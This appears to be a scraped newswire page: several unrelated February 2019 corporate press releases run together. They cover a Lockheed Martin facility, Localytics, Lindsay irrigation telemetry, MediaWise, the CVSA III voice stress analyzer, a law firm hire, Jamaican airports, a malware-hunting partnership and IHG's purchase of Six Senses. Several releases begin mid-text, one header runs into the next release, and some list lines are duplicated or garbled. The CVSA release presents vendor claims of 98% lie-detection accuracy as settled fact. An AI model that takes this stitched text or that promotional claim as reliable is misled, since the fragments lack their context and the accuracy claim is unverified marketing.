Patricia Lepiani, (720) 838-6909

Social: @RMECC, @RMECC2019, #RMECC2019

SOURCE 2019 Rocky Mountain Early Childhood Conference

Related Links

http://www.rmecconference.com

"I am proud to recognize Lockheed Martin's continued investment in our community through the expansion of its new research and development building and the hundreds of new high-wage jobs the company is creating," said Jerry L. Demings, Orange County Mayor. "Lockheed Martin and other businesses help drive innovation and opportunities across Orange County and worldwide."

"Orlando is known for its skilled workforce and strong economic climate, thanks in large part to the foundation laid by Lockheed Martin's location to Central Florida more than 60 years ago," said Orlando Mayor Buddy Dyer. "This announcement demonstrates Lockheed Martin's continued commitment to our residents, their families and our Armed Forces by providing high-paying jobs and a state-of-the-art facility that will develop some of the most advanced technology in the industry right here in Orlando."

Additionally, Lockheed Martin Executive Vice President Frank St. John said, "The Research & Development II facility expands our robust Florida presence and fosters significant opportunities for collaboration and innovation among our employees. We will continue our strong partnerships with local and state governments, community partners and area universities to grow our business, our workforce and the critical capabilities we provide to customers worldwide."

Lockheed Martin officially broke ground for the six-story building on Feb. 14, 2018, with an aggressive goal of completing it in a year. Employees in the building will support engineering, program management and business operations for Lockheed Martin Missiles and Fire Control's Orlando site.

Lockheed Martin's Orlando operations include both Missiles and Fire Control and Rotary and Mission Systems divisions. Across Florida, Lockheed Martin operations support an estimated 40,000 direct, indirect and induced jobs, with work spanning 1,300 Florida businesses and suppliers.

About Lockheed Martin

Headquartered in Bethesda, Maryland, Lockheed Martin is a global security and aerospace company that employs approximately 105,000 people worldwide and is principally engaged in the research, design, development, manufacture, integration and sustainment of advanced technology systems, products and services.

SOURCE Lockheed Martin

Related Links

http://www.lockheedmartin.com

BOSTON, Feb. 13, 2019 /PRNewswire/ -- Localytics , the leading mobile engagement platform, announced today an impressive close to 2018 with triple digit increase in sales bookings from the first half of the year to the second half. The company added to its customer roster by partnering with a number of new leading brands, including Bloomberg, Mass Mutual, Eurostar, Galp (Portugal), Honeywell, Humana, BlackRock and Live Nation.

"The growth of digital has changed the way brands need to connect with their customers," said Jude McColgan, Localytics' CEO. "Consumers want more meaningfulness and personalization in their interactions with brands, but achieving that is hard for brands because the martech supply chain is crowded and complex. We took a step back in 2018 and focused on how to help brands solve this problem by adding more intelligence into our widely used platform. We will continue to focus on intelligence and personalization in 2019, but so far the results of our efforts are positive as we see more and more customers delivering more personalization in their digital experiences."

Fueled by the company's ability to increase customers' monthly active users (MAU), retention rates and push opt-in rates, Localytics enabled customers to achieve the following in 2018:

Core clients grow MAUs by 22%

Dramatic increase in use of personalization at 74% with sends using profile data

55% increase in the use of Profile and Behavioral data combined to personalize

In addition, Localytics expanded its senior leadership team in 2018 with key executive hires that include:

Stephen Mello , vice president of Product and Strategy

, vice president of Product and Strategy Marty Siewert , Chief Revenue Officer

, Chief Revenue Officer Matt Katz , vice president of Customer Success

, vice president of Customer Success Board: Tom Erickson , former CEO and founding director of Acquia

In 2019, Localytics will continue employee expansion across all areas of the company, with open positions in Engineering, Sales, Marketing, Operations and Customer Success.

"The term personalization is not new to the marketing technology world, where marketers constantly work to customize offerings for customers at the right time through the right channel. As we look ahead into 2019, Localytics is taking the company's platform to the next level with the digital intelligence layer giving marketers the deepest insight into a customer's preferences and behaviors," said Stephen Mello, vice president of Product and Strategy, Localytics.

In 2018, Localytics' launched the company's new campaign builder, Workflows , which enables marketers to create personalized, multi-step campaigns that are triggered by user behavior inside or outside of their app and adapt based on how users interact with each message. Workflows also exchanges data with the rest of an enterprise marketing tech stack, including Salesforce Marketing Cloud, to ensure that marketing campaigns across mobile and digital have the right context from mobile to drive real ROI. This year, Localytics will continue to build out its Workflows capability to add more personalization and intelligence for brands to better engage with their customers.

Localytics was also recognized for its technology leadership by Gartner in its 2018 Magic Quadrant for Mobile Marketing Platforms. Gartner's Magic Quadrant evaluates vendors within a particular market segment based on their completeness of vision and their ability to execute.

To learn more about Localytics, please visit: https://www.localytics.com

About Localytics

Localytics gives brands the data, intelligence and marketing channels to deliver a meaningful, personal customer experience. We help brands discover and deliver exactly what their customers are passionate about, and integrate those insights and experiences across other channels to deliver a digital customer experience that resonates. Our platform is used in more than 37,000 apps on more than 2.7 billion devices by companies such as ESPN, Fox and The New York Times. We are headquartered in Boston, MA with teams in Berlin, San Francisco and London. Investors include Sapphire Ventures, Foundation Capital and Polaris Partners. Learn more at Localytics.com.

Media contact: Danielle Ostrovsky, (410) 302-9459, [email protected]

SOURCE Localytics

Related Links

https://www.localytics.com

OMAHA, Neb., Feb. 13, 2019 /PRNewswire/ -- Lindsay Corporation (NYSE: LNN), a leading global manufacturer and distributor of irrigation and infrastructure equipment and technology, today announced a new addition to its industry-leading Industrial Internet of Things (IIoT) offering: FieldNET Pivot Watch. The patent-pending innovation includes a solar-powered remote telemetry device that mounts onto any center pivot irrigation system, regardless of pivot age or brand, and a monitor-only subscription to Lindsay's award-winning FieldNET irrigation management platform. FieldNET helps growers optimize water use efficiency, save time and ultimately improve yields and profit. Zimmatic dealers will begin offering FieldNET Pivot Watch in North America in early summer 2019, and will become available in select international markets starting later in 2019.

Pivot Watch is compact, lightweight and attaches directly to the span pipe with a simple aluminum band, without the need to connect to the electric circuitry of the pivot. This means growers will have the ability to install Pivot Watch themselves. Though simple in design and low-cost, the device has integrated cellular connectivity, GPS positioning and other embedded sensors, enabling growers to remotely "watch" or monitor their pivot's functions, such as current position, status, direction and speed, using the FieldNET app. With FieldNET Pivot Watch, growers will be able to monitor their irrigation operations around the clock, enabling seamless functionality, 24 hours a day, 365 days a year.

"It is estimated that approximately 70 percent of pivots operating in North America today do not have remote monitoring capability," said Randy Wood, president of irrigation at Lindsay. "Pivot Watch was designed with exactly those growers, and their challenges, in mind. It essentially brings remote irrigation monitoring to anyone who wants it; its ultra-low price point, DIY installation and access to FieldNET, the industry's leading irrigation management solution, makes the efficiency of remote irrigation management more accessible than ever before."

Pivot Watch expands Lindsay's aftermarket FieldNET offering, which also includes full remote monitoring and control with FieldNET Pivot Control, and FieldNET Pivot Control Lite, which offers monitoring and a mid-range of control. All three products fit any brand and age of electric pivot, and Pivot Watch will also work on hydraulic pivots. Through the FieldNET family of products, both growers and their agronomic advisors have access to Lindsay's FieldNET Advisor, the industry's first, automated irrigation scheduling solution, giving growers science-based recommendations to make faster, better-informed decisions about when, where and how much to irrigate. This helps growers increase efficiency and profit while also exercising more sustainable farming practices.

At launch, Pivot Watch will be available with or without a pressure transducer to indicate whether water is on or off, and to display end-of-system pressure. Pricing starts at $299 USD, including the first year, monitor-only FieldNET subscription. After the first year, the subscription will cost $100 USD per year.

For more information about FieldNET technology, visit www.myfieldnet.com.

About Lindsay Corporation

Lindsay Corporation (NYSE: LNN) is a leading global manufacturer and distributor of irrigation and infrastructure equipment and technology. Established in 1955, the company has been at the forefront of research and development of innovative solutions to meet the food, fuel, fiber and transportation needs of the world's rapidly growing population. The Lindsay family of irrigation brands includes Zimmatic center pivot and lateral move agricultural irrigation systems and FieldNET remote irrigation management and scheduling technology as well as irrigation consulting and design and industrial IoT solutions. Also a global leader in the transportation industry, Lindsay Transportation Solutions manufactures equipment to improve road safety and keep traffic moving on the world's roads, bridges and tunnels, through the Barrier Systems, Road Zipper and Snoline brands. For more information about Lindsay Corporation, visit www.Lindsay.com.

Descriptions of expected supplemental features are for informational purposes only. The development, release and timing of future product and feature rollouts remain at Lindsay Corporation's sole discretion. Any new or supplemental features, functionality, and enhancements or timing of release of such features, functionality and enhancements are at the sole discretion of Lindsay Corporation and may be modified without notice. All descriptions of upcoming features, functionality, and enhancements or other similar information do not represent a commitment to deliver any material, code or functionality and should not be relied upon in making a purchasing decision.

FieldNET, FieldNET Advisor, Zimmatic, Barrier Systems, Road Zipper and Snoline are trademarks or registered trademarks of Lindsay Corporation and/or its affiliates.

SOURCE Lindsay Corporation

Related Links

http://www.lindsay.com

"Fact-checking and identifying trustworthy sources is something I've done every day for over four decades," said Lester Holt, Anchor of "NBC Nightly News." "But in today's noisy media environment, those skills are just as important for our readers and viewers as they are for those of us doing the reporting. MediaWise will help instill those values at a young age and I'm honored to play a small part in educating a new generation of thoughtful and discerning news consumers," he added.

In his first appearance as MediaWise Ambassador, Holt will help lead a MediaWise teaching event today at Woodrow Wilson High School in Washington D.C. to teach hundreds of teens how to spot misinformation and disinformation online, as well as practical skills to help them do it on their own. In his new role, Holt will also be contributing content for the project's social media efforts.

Holt first encountered MediaWise in December when he received the Poynter Medal for Lifetime Achievement in Journalism . "Lester Holt is the most trusted man in the news business and exactly the type of person we want as a champion for our cause," said Katy Byron, MediaWise editor and program manager at Poynter. "His reporting has always been neutral, reliable and accurate. I'm thrilled he wants to support MediaWise and raise awareness of the important digital literacy issues we are tackling with this project."

While teens are generally regarded as digitally savvy, research from Stanford History Education Group (SHEG) shows that the vast majority of teenagers have trouble navigating digital information  whether it's viral hoaxes on Instagram, misinformation campaigns on Facebook, or sponsored content on news websites. The goal of the MediaWise project is to teach teenagers critical thinking and fact-checking skills, equip them to make smarter decisions on their own and help curb the spread of misinformation.

The MediaWise project is part of the Google News Initiative and funded by Google.org. The Poynter-led project includes contributions from partners SHEG, Local Media Association (LMA) and National Association for Media Literacy Education (NAMLE).

The primary way MediaWise will reach one million teens is through middle school and high school curriculum being designed by SHEG that will be available to teachers across the country this fall to download  for free. While the curriculum is being piloted and tested, the MediaWise team at Poynter is working with LMA and NAMLE to visit schools and teach the fact-checking skills the curriculum is built on.

Today's event with Holt adds to the momentum that began at the start of the year when Byron and her team taught 5,000 students at three schools in Houston . Schools in a dozen states from West Virginia to Hawaii have invited the MediaWise team to teach their students.

MediaWise wants to empower students to get involved and has launched a first-of-its-kind teen fact-checking network committed to identifying questionable claims on social media. They are working multimedia reporters Allison Graves and Hiwot Hailu to publish fact-check videos on the @MediaWise accounts on Instagram and other platforms.

The project is also working with influential YouTube Creators to produce educational videos, like best-selling young adult author John Green who wrote The Fault in Our Stars. Green partnered with MediaWise to create the 10-part Navigating Digital Information series on his popular YouTube channel CrashCourse, which has 9 million subscribers. Other YouTube Creators like Destin Sandlin of SmarterEveryDay, Alonzo Lerone and Mark Watson of Solder Knows Best will promote the MediaWise message and tips online.

Reaching young people is the crux of the MediaWise mission. Raley Long, a 15-year-old from St. Petersburg, Florida, an inaugural member of the MediaWise teen fact-checking network, says her friends and family are constantly spreading inaccurate information online and they don't even know it. "This project is special because it starts teaching people how to spot false information early in their life," she said. "These lessons will continue through our lives, and will eventually help stop the spread of misinformation," she added.

For more information, visit Poynter.org/MediaWise .

About The Google News Initiative

The Google News Initiative is Google's effort to bring together everything we do as a company  across products, partnerships, and programs  to help journalism thrive in the digital age. We are focused on three key objectives: elevating quality information, evolving business models to support quality journalism, and empowering news organizations to use new technology to meet their needs. Learn more at https://newsinitiative.withgoogle.com/about

About Google.org

Google.org brings together the power of Google's people, products, and resources to impact critical problems around the world. Since 2005, Google.org has worked to extend the reach of nonprofit innovators. Though each nonprofit's project poses a fresh challenge, we ask the same question every time: "How can we bring the best of Google to power their work and accelerate their progress?" In 2018, we donated $240M+ to nonprofits around the globe, and Googlers gave more than $56M+ of their own money and 227k hours of volunteer time. Learn more at https://www.google.org/

About The Poynter Institute

The Poynter Institute for Media Studies is a global leader in journalism education and a strategy center that stands for uncompromising excellence in journalism, media and 21st-century public discourse. Poynter faculty teach seminars and workshops at the Institute in St. Petersburg, Florida, and at conferences and organizations around the world. Its e-learning division, News University, offers the world's largest online journalism curriculum, with hundreds of interactive courses and tens of thousands of registered international users. The Institute's website, poynter.org, produces 24-hour coverage about media, ethics, technology and the business of news. Poynter is the home of the Pulitzer Prize-winning PolitiFact, the International Fact-Checking Network and MediaWise, a teen digital information literacy project. The world's top journalists and media innovators come to Poynter to learn and teach new generations of reporters, storytellers, media inventors, designers, visual journalists, documentarians and broadcasters. This work builds public awareness about journalism, media, the First Amendment and discourse that serves democracy and the public good. Learn more at poynter.org

Contact:

Tina Dyakon

Director of Marketing

727-553-4343

[email protected]

SOURCE The Poynter Institute

Related Links

http://poynter.org

WEST PALM BEACH, Fla., Feb. 13, 2019 /PRNewswire/ -- A record number of Law Enforcement agencies have quietly been replacing their old polygraphs with a system that, according to an independent, peer-reviewed, published 18-year study, has an accuracy rate of 98%. Even users of other lie detection devices have been trading-in their systems on the newly unveiled Computer Voice Stress AnalyzerIII (CVSAIII). Most notably is the Florida Attorney General's Office, Department of Corrections (DoC). The Florida DoC has traded-in their 10 Vipre voice stress analyzers and purchased 10 CVSA III's . The Special Agent In Charge stated that "We were so impressed with the superior accuracy of the CVSA III and the excellent support provided by NITV FS that we are convinced this is truly the system of the future."

CVSA III

The Computer Voice Stress Analyzer was first introduced in 1988 by NITV Federal Services located in West Palm Beach, FL. NITV FS recently unveiled the latest version of the CVSA, the CVSA III, to rave reviews by the law enforcement community. Only sold to government agencies, the CVSA III is the latest in technology in truth verification/lie detection and is now considered the 'Gold Standard' as an investigative tool in the law enforcement community, displacing the old polygraph. With over 2,000 law enforcement agencies and 7,000 examiners utilizing the CVSA, including the Atlanta P.D., Miami-Dade P.D., New Orleans P.D., Kansas City P.D., Salt Lake City P.D., California Highway Patrol, Nashville P.D., California Dept. of Corrections and Rehabilitation, and the US Federal Courts, the CVSA has become the most sought after investigative tool available for law enforcement/government investigators.

As an example of the technology's amazing abilities, D/Lt. Stephen with the Coles Co. (IL) Sheriff's Dept., recently broke a 37-year- old Cold Case Homicide that was solved utilizing the CVSA. A young woman was brutally murdered in 1980 and although several suspects were developed, there was never enough evidence to make an arrest. Following her department's acquisition of the CVSA, D/Lt. Stephen called one of the suspects, who was now 70, and requested his help in going through a box of evidence to see if they could come up with any new leads. The suspect agreed and while they reviewed the evidence, D/Lt. Stephen asked the individual if he would take the CVSA exam to screen him out of any further suspicion. He agreed. After the exam D/Lt. Stephen let him see the CVSA charts, which clearly indicated deception, and he confessed to murdering the young woman 37 years ago. Without the CVSA, the murder would have never been brought to justice and the family would never have had closure .

The CVSA III was developed to be the 21st Century truth verification system for law enforcement, and was designed and engineered over several years with extensive user input. Microsoft has classified the CVSA III as an " instrument ", the only VSA ever to classified as such, based on its custom Windows 10 Operating System, which has been approved and licensed by Microsoft, and which meets the rigorous standards of the law enforcement community. The CVSA III Windows 10 OS ensures the security of sensitive law enforcement data due to unique custom designs not available in "off the shelf" consumer-grade versions of Windows 10. The latest version of the patented Final Analysis Scoring Algorithm (FACT), the FACT Plus, makes use of machine learning to accurately determine Deception/No Deception on each examination. The multi-language CVSA III is housed in Ruggedized state-of-the-art hardware provided by Dell.

For further information on the CVSA III, visit us at CVSA1.com, or contact Carol Graham at [email protected], or 561-798-6280.

NITV Federal Services is the Manufacturer and Sole Source of the CVSA

SOURCE NITV Federal ServicesLOS ANGELES, Feb. 12, 2019 /PRNewswire/ -- Wilshire Law Firm is happy to announce that Justin F. Marquez, Esq., has become the firm's 13th attorney since its founding in 2007. Specializing in high-stakes class action litigation, Mr. Marquez frequently represents clients in complex casesin 2018, he successfully recovered over $10 million in lost wages on behalf of workers. He has experience with Consumer Protection, Wage & Hour Class Actions, Qui Tam Claims, Employee Harassment and Discrimination, and Wrongful Termination cases.

"I'm excited to be joining an award-winning legal team that is as committed to excellence as I am," said Marquez. "I hope to continue the advancement of Wilshire Law Firm's advocacy for consumers everywhere."

Prior to joining Wilshire Law Firm, Mr. Marquez was able to obtain several notable settlements, including a $2.5 million settlement in 2018 in which the district court judge found him to be an "experienced and successful litigator." His work has received much praise from his legal contemporariesMr. Marquez was selected as a Southern California Rising Star by Super Lawyers from 2017 to 2019, and in 2016 and 2017 he received invitations to The National Trial Lawyers: Top 40 under 40. His winning argument in Yocupicio v. PAE Group, LLC, 795 F.3d 1057 (9th Cir. 2015) has been featured in several prominent outlets, including Wright & Miller's Federal Practice and Procedure, and can be viewed on YouTube.

Since it was started in 2007 by Founding Partner and Managing Attorney Bobby Saadian, Esq., JD/MBA, Wilshire Law Firm has recovered more than $350 million dollars for our clients. Our firm has steadily grown since then, doubling in size to more than a dozen lawyers within the past year. To get started with your free case consultation, call Wilshire Law Firm today at (800) 522-7274 or fill out our online contact form.

SOURCE Wilshire Law Firm

Related Links

http://wilshirelawfirm.com

Jamaica's objective at the event is to attract new flights and airlines to this leading Caribbean destination. The promotion of destination Jamaica is being supported by Grupo Aeroportuario del Pacifico (GAP), which operates Jamaica's leading international gateway, Sangster International Airport in Montego Bay, and as incoming operator of Norman Manley International Airport in Kingston.

Meetings have been scheduled with 20 airlines based in Canada, the US, the EU and Latin America, including American Airlines, Delta, JetBlue, British Airways, Air Canada, Lufthansa, Southwest, United Airlines and TUI, among several others.

Routes Americas will get the industry geared up for the World Routes 2019 summit to be held in Adelaide, Australia in September, where GAP will intensify the promotion of Jamaica as an investment and tourism destination. The World Routes summit in Adelaide will have a global reach with the participation of airlines based in the EU, Africa, Asia and Australia, many of which do not typically participate in Routes Americas.

GAP is committed to promoting Jamaica as an extraordinary destination with countless natural wonders and an excellent tourism product, as well as for its attractiveness as a destination for foreign investment that promotes the sustainable economic and social development of the country.

About Grupo Aeroportuario del Pacifico

Grupo Aeroportuario del Pacifico, S.A.B. de C.V. (GAP) is a leading airport operator based in Mexico. GAP holds concessions for the operation of 12 international airports in Mexico and two in Jamaica, providing service to more than 300 destinations via 35 airlines. The company's shares are listed in Mexico and in New York.

GAP served 40.7m passengers in 2017, an 11.4% increase over 2016.

Airports operated by GAP are based in:

Guadalajara and Tijuana , serving the principal metropolitan areas;

and , serving the principal metropolitan areas; Mexicali , Hermosillo , Los Mochis , Aguascalientes , Guanajuato and Morelia , serving these medium-size developing cities;

, , , , and , serving these medium-size developing cities; La Paz , Los Cabos , Puerto Vallarta , Manzanillo and Montego Bay , leading tourism destinations in Mexico and the Caribbean ;

, , , and , leading tourism destinations in and the ; On October 10 th, 2018, GAP announced it had closed the public-private-partnership to operate, modernize and expand Norman Manley International Airport in Kingston, Jamaica .

Airports operated by GAP in Mexico are owned by the Mexican government and operated under a 50-year concession that commenced in 1998 as part of a national initiative to privatize and improve the quality of service and security at airports across the country.

Sangster International Airport in Montego Bay is owned by the Government of Jamaica and operated under a 30-year concession by MBJ Airports, a partnership between GAP and Vantage Airport Group. GAP was awarded a 25-year concession to operate Norman Manley International Airport in Kingston commencing in October 2019.

Photo - https://mma.prnewswire.com/media/821300/IMG_1034.jpg

Logo - https://mma.prnewswire.com/media/821301/Grupo_Aeroportuario_del_Pacifico_color.jpg

SOURCE Grupo Aeroportuario del PacificoATLANTA and CAMBRIDGE, Mass., Feb. 13, 2019 /PRNewswire/ -- Ionic Security, a pioneer in data trust, and ReversingLabs, a global leader in discovering and responding to unknown malware, today announced a partnership to help resource-constrained organizations accelerate threat detection and incident response while complying with data protection mandates like the New York Department of Financial Services regulation (NYDFS), and the General Data Protection Regulation (GDPR).

For the first time, security operations teams responsible for hunting and responding to malware hidden in large volumes of files can now securely manage and store scan results within a big data lake. For TitaniumScale customers, this integration automatically generates Ionic encryption keys on every file. This allows threat hunters to securely and safely pull file analysis results from the data lake for further investigation to identify malware that has made it past security defenses.

Cybercriminals target large and highly-regulated organizations like insurance and financial services companies whose security teams must search out these advanced malware threats across millions of files in hundreds of locations. The sheer volume and velocity of files leads to hunt complexity and slows down response times. ReversingLabs TitaniumScale automates the process of high-volume file analysis, malware detection, and threat prioritization, feeding the results into a centralized big data lake or event management system. Threat hunters and forensic investigators can focus their searches on high priority threats and quickly surface hidden malware when dealing with very large datasets.

Both security and compliance managers understand that centralizing a large collection of files and metadata about those files creates risk, and Ionic provides professionals with powerful risk mitigation capabilities. Ionic Data Trust Platform encrypts all files with individual protection keys, eliminating the risks of improper data access, loss or tampering. The platform's unique key management system eliminates the nearly impossible task of managing encryption keys in such large-scale infrastructures. Granular policy controls ensure that only approved individuals can access files and analysis data to move them out of the data lake. By tracking all interactions, Ionic generates audit-ready analytics to assist investigators and prove secure use of internal or cloud-based data in compliance with data protection mandates like NYDFS and GDPR.

"The integration between ReversingLabs and Ionic creates a secure and compliant local threat intelligence infrastructure that is game-changing when it comes to hunting for undetected malware hidden inside an organization's networks," explained Mario Vuksan, founder and CEO at ReversingLabs. "Automating and securing an indexed, historically-searchable data store that captures all the unknown and high-risk files across an organization is simply unprecedented in today's security tools. Together, Ionic and ReversingLabs enable the creation of this powerful infrastructure in which threat hunters can securely and efficiently search out hidden malware-based attacks to reduce dwell times from months down to hours."

"With both threats and regulations evolving rapidly in today's increasingly complex environments, security teams are hard-pressed to keep up with advanced attacks," responded Eric Hinkle, CEO at Ionic Security. "The need for an elegant end-to-end solution for professionals who operate under extreme time pressure has never been more important. Ionic Data Trust Platformwith machine-scale key management, policy orchestration, and unparalleled visibility into data wherever it travelsis well-matched by ReversingLabs TitaniumScale, the only solution to analyze files at scale from any source. This integration means security teams can protect high-risk data, safely handle malware, and generate compliance reports, all while simplifying and automating their business workflows."

Contact Ionic or ReversingLabs to schedule a demo and learn more about this groundbreaking integration.

About Ionic Security

Based in Atlanta, Ionic Security accelerates and simplifies trust in a machine-scale world, helping clients systematically reduce the likelihood and impact of a data breach while simplifying information governance and the management of today's digital enterprise. Ionic Data Trust Platform consistently protects and controls data from creation through consumption everywhere it travels and anywhere it resides, preventing inappropriate data handling with real-time policy, and enabling customer-managed trust across clouds, environments, and data silos. Learn more at https://www.ionic.com, or connect on LinkedIn or Twitter.

About ReversingLabs

ReversingLabs helps organizations to find and neutralize the enemy within. Our solutions provide enterprise-scale file analysis, authoritative file intelligence services, and advanced malware analysis and hunting  all purpose-built for identifying previously undetected malware inside customers' networks. Key features include unique file decomposition and static analysis, comprehensive file reputation data, and integrated local and in-the-wild threat intelligence. ReversingLabs solutions deliver the capabilities, speed, and scalability that large enterprises and government agencies need to uncover and contain sophisticated malware threats that have slipped past their other security measures. Learn more at https://www.reversinglabs.com, or connect on LinkedIn or Twitter.

SOURCE Ionic Security

Related Links

https://www.ionic.com

MONTVALE, N.J., Feb. 13, 2019 /PRNewswire/ -- IMA (Institute of Management Accountants), the association of accountants and financial professionals in business, today announced registration for its 2019 Annual Conference and Expo (ACE2019). The event, to be held June 15-19 at the Sheraton San Diego Hotel and Marina, will officially celebrate IMA's 100-year anniversary at a special Centennial Celebration honoring IMA's thriving global community.

Kicking off this year's conference is Jay Leno, executive producer and host of Jay's Garage, stand-up comedian, actor, and author, who will open with a comedy show for attendees. Additional keynote presenters include:

Mike Walsh , futurist, best-selling author, and CEO of Tomorrow

, futurist, best-selling author, and CEO of Tomorrow Matthew Luhn , former Pixar animator, story artist, and author

, former Pixar animator, story artist, and author Amy Vetter , CPA, yogi, technologist, and Inc.com contributor

At ACE 2019, attendees will have the opportunity to explore eight specialty tracks designed for management accountants and choose from more than 75 job-relevant sessions to customize their learning experience. Tracks include: Accounting Hot Topics; Ethics; Reporting and Control; Strategy, Planning, and Performance; Business Acumen and Operations; Leadership and Professional Development; Small- to Medium-Sized Enterprises; and Technology and Analytics.

More than 1,000 professionals from large and small businesses, public corporations, academic institutions and government agencies are expected to attend this year's conference, providing attendees with ample opportunities to make strong business connections and explore new ways to boost their career in management accounting. Additionally, ACE 2019 will offer attendees the opportunity to earn more than 28 CPE credits and 27 NASBA-eligible credits.

Early Bird conference registration rates will be available through March 29, 2019. For complete information about ACE2019 and registration details, visit http://www.imaconference.org/.

Attendees can join the conversation at #IMA100YEARS.

About IMA (Institute of Management Accountants)

IMA, named the 2017 and 2018 Professional Body of the Year by The Accountant/International Accounting Bulletin, is one of the largest and most respected associations focused exclusively on advancing the management accounting profession. Globally, IMA supports the profession through research, the CMA (Certified Management Accountant) program, continuing education, networking and advocacy of the highest ethical business practices. IMA has a global network of more than 100,000 members in 140 countries and 300 professional and student chapters. Headquartered in Montvale, N.J., USA, IMA provides localized services through its four global regions: The Americas, Asia/Pacific, Europe, and Middle East/India. For more information about IMA, please visit www.imanet.org.

SOURCE IMA (Institute of Management Accountants)

Related Links

https://www.imanet.org

Six Senses is renowned for its focus on wellness and sustainability, with each hotel and resort set in locations of incredible natural beauty that will stop you in your tracks, delivering an uncompromising level of service that will stay with you long after you've left. All of which has been recognized through a host of industry awards and accolades* including Travel+Leisure (World Best Award, Top Hotel Brand for two years in a row), TIME Magazine, Conde Nast Traveler and Skift to name a few.

Featuring properties in 12 countries, Six Senses is behind some of the world's most enticing hotels, resorts and spas, including: a 19th-century wine estate in the Douro Valley (Portugal), breathtaking island resorts in the Seychelles and Maldives, beach-side retreats in Indonesia, Thailand, Vietnam and Oman, a city escape in Singapore, and residences in the mountains of Courchevel (France).

Six Senses joins a growing number of luxury brands in the IHG family, including:

InterContinental  Hotels & Resorts , the world's largest luxury hotel brand, which recently celebrated the opening of its 200 th hotel and was named World's Leading Hotel Brand title for the 12 th time at the World Travel Awards (WTA). This is a brand dedicated to those who appreciate and enjoy The InterContinental Life - the glamour and exhilaration of fascinating places, mixed with international know-how and local cultural wisdom.

, the world's largest luxury hotel brand, which recently celebrated the opening of its 200 hotel and was named title for the 12 time at the World Travel Awards (WTA). This is a brand dedicated to those who appreciate and enjoy The InterContinental Life - the glamour and exhilaration of fascinating places, mixed with international know-how and local cultural wisdom. Regent  Hotels & Resorts , also recently acquired and now undergoing a repositioning which celebrates the brand's deep luxury heritage and revered legacy. Born in 1970, this collection of modern hotels and resorts is rooted in extraordinary living, with a legacy of luxury that endures to this day.

, also recently acquired and now undergoing a repositioning which celebrates the brand's deep luxury heritage and revered legacy. Born in 1970, this collection of modern hotels and resorts is rooted in extraordinary living, with a legacy of luxury that endures to this day. Kimpton Hotels & Restaurants, the industry pioneer that first introduced the boutique concept to the U.S. The brand is now set to open in 20 new global destinations including Mexico City , Paris , Barcelona , Bali and Shanghai , each of which will showcase bold, playful design, award-winning dining and surprising amenities to ensure guests have the ultimate boutique hotel stay.

Across IHG's four leading luxury brands, guests can now enjoy nearly 300 luxury hotels around the world, with more than 100 set to open in the coming years.

As part of the IHG family, Six Senses is expected to expand to 60 properties within the next 10 years. This includes incredible new Six Senses hotels and resorts from a restored 14th-century fort in Rajasthan, to villas on a private island in Cambodia, and the brand's first hotel in North America - a contemporary duo of twisting towers designed by Bjarke Ingles near the High Line in Manhattan's West Chelsea.

IHG's Chief Executive Officer, Keith Barr, said: "IHG's growing portfolio of luxury brands is a collection of the very best in the travel industry. Each one offers something unique to our guests, and together they offer an unparalleled choice of locations and experiences. We're incredibly proud to welcome Six Senses into our family of brands and look forward to opening more stunning hotels, resorts and spas  each one staying true to Six Senses' world-renowned reputation for wellness and an unwavering commitment to purposeful travel."

Core to every Six Senses hotel and resort is a Six Senses Spa, where guests can relax, reconnect, and completely refresh. Guests are guided on a personal path to finding harmony and balance, to ensure positive and lasting benefits. Unique to the hospitality sector, Six Senses has also taken wellness out of the spa and integrated it across the entire stay, helping guests learn something new and reconnect with themselves, others, and the world around them.

"This is an exciting new era for Six Senses," said Six Senses Chief Executive Officer, Neil Jacobs. "IHG believes in our purpose to merge the two platforms of wellness and sustainability to promote personal health, and the health of the planet. Joining forces with IHG means we can use a wealth of systems and operational excellence to grow our brand and reach new markets without losing our quirky personality and playful touch."

In the near future guests will be able to book their Six Senses stay through IHG's booking platforms, such as the ihg.com website and the company's leading mobile app, and benefit from the advantages of the IHG Rewards Club loyalty programme.

With 15 of the world's leading hotel brands and more than 5,500 hotels around the world, IHG offers travelers and members of its global loyalty programme IHG Rewards Club, a hotel stay for all travel occasions.

Further Information:

*Key awards

2018, 2017: Six Senses Hotels Resorts Spas  Travel & Leisure, US  World's Best Award, Top Hotel Brand

Six Senses Hotels Resorts Spas  Travel & Leisure, US  World's Best Award, Top Hotel Brand 2018: Skift 2018 Innovators in Travel, Hospitality and Aviation  Best Hotel Brand

Skift 2018 Innovators in Travel, Hospitality and Aviation  Best Hotel Brand 2018: Six Senses Qing Cheng Mountain  Conde Nast Traveler, China  The Gold List 2018, Best Wellness Getaways in China

Six Senses Qing Cheng Mountain  Conde Nast Traveler,  The Gold List 2018, Best Wellness Getaways in 2018: Six Senses Fiji  TIME Magazine - World's Greatest Places Top 100

Six Senses Fiji  TIME Magazine - World's Greatest Places Top 100 2018: Six Senses Douro Valley  Conde Nast Traveller, US  2018 Gold List, Editors' Favourite Hotels in the World

Six Senses Douro Valley  Conde Nast Traveller, US  2018 Gold List, Editors' Favourite Hotels in the World 2016: Six Senses Hotels Resorts Spas  The Telegraph, UK  Travel Awards, Best Hotel Group

Notes to Editors:

About IHG

IHG  (InterContinental Hotels Group) [LON:IHG,NYSE:IHG (ADRs)] is a global organisation with a broad portfolio of hotel brands, including Regent Hotels & Resorts, InterContinental Hotels & Resorts, Kimpton Hotels & Restaurants, Hotel Indigo, EVEN Hotels, HUALUXE Hotels and Resorts, Crowne Plaza Hotels & Resorts, voco Hotels, Holiday Inn, Holiday Inn Express, Holiday Inn Club Vacations, Holiday Inn Resort, avid hotels, Staybridge Suites and Candlewood Suites.

IHG franchises, leases, manages or owns more than 5,500 hotels and approximately 826,000 guest rooms in almost 100 countries, with more than 1,800 hotels in its development pipeline. IHG also manages IHG Rewards Club, our global loyalty programme, which has more than 100 million enrolled members.

InterContinental Hotels Group PLC is the Group's holding company and is incorporated in Great Britain and registered in England and Wales. More than 375,000 people work across IHG's hotels and corporate offices globally.

Visit www.ihg.com for hotel information and reservations and www.ihgrewardsclub.com for more on IHG Rewards Club. For our latest news, visit: www.ihgplc.com/media and follow us on social media at: www.twitter.com/ihgcorporate and www.facebook.com/ihgcorporate.

About Six Senses Hotels Resorts Spas

Six Senses Hotels Resorts Spas operates 16 hotels and resorts plus 37 spas in 21 countries under the brand names Six Senses, Evason and Six Senses Spas. Resort, hotel and spa projects are under development in Austria, Bhutan, Brazil, Cambodia, China, India, Israel, Spain, Switzerland, Taiwan, Thailand and the United States.

